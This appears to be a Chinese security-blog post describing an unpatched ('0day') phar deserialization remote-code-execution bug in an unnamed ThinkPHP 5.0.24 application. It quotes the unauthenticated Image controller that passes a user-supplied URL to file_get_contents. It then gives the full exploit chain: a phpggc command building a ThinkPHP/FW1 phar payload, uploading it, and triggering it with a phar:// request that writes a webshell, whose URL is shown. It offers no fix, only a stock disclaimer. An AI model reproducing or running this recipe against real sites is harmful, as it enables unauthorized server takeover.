【代码审计】记某次项目前台反序列化RCE漏洞研究
【代码审计】记某次项目前台反序列化RCE漏洞研究
原创 Mstir 星悦安全 2025-04-18 06:08
点击上方
蓝字
关注我们 并设为
星标
0x01 过程
一套涉Zha的系统,名字就不给出了,貌似用的人还挺多.
该项目框架:ThinkPHP 5.0.24 Debug:True
翻遍了所有代码,上传点都限制的比较死,只能传白名单里的后缀,SQL注入也基本没有,只能去找找别的地方.
这时候看到位于 /application/api/controller/Image.php 控制器中的Image 方法存在file_get_contesnts函数,这不就来了么.
<?phpnamespace app\api\controller;use app\common\controller\Api as CommonController;final class Image extends CommonController{ protected $noNeedLogin = '*'; protected $noNeedRight = '*'; public function _initialize() { parent::_initialize(); } public function image() { $imageData = file_get_contents(input('url')); $image = imagecreatefromstring($imageData); header("Content-Type: image/jpeg"); imagejpeg($image); imagedestroy($image); exit; }}
众所周知,file_get_contents 文件不仅能读取文件,在ThinkPHP 5.0.24 中是可以触发Phar反序列化漏洞的.
首先需要用phpggc 生成一个Phar反序列化包,用ThinkPHP/FW1 这个利用链,注意需要绝对路径打对,然后本地放一个aaa.php 这里是你要写入的内容 (phpggc 可能会出点问题,把出问题的利用链文件直接删除即可).
php.exe phpggc -p phar -o aaa.phar ThinkPHP/FW1 /www/wwwroot/xxxxx.com/public/ aaa.php
这里上传点颇多,随便找个点传上去即可.
然后访问直接 /api/image/image?url=phar://./upload/图片地址.png 即可直接调用该利用链写入SHELL到其目录下
http://192.168.200.128/3b58a9545013e88c7186db11bb158c44.php
0x02 phpggc下载
标签:代码审计,0day,渗透测试,系统,通用,转转,Deepseek,AI
phpggc关注公众号,发送 250418 获取!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!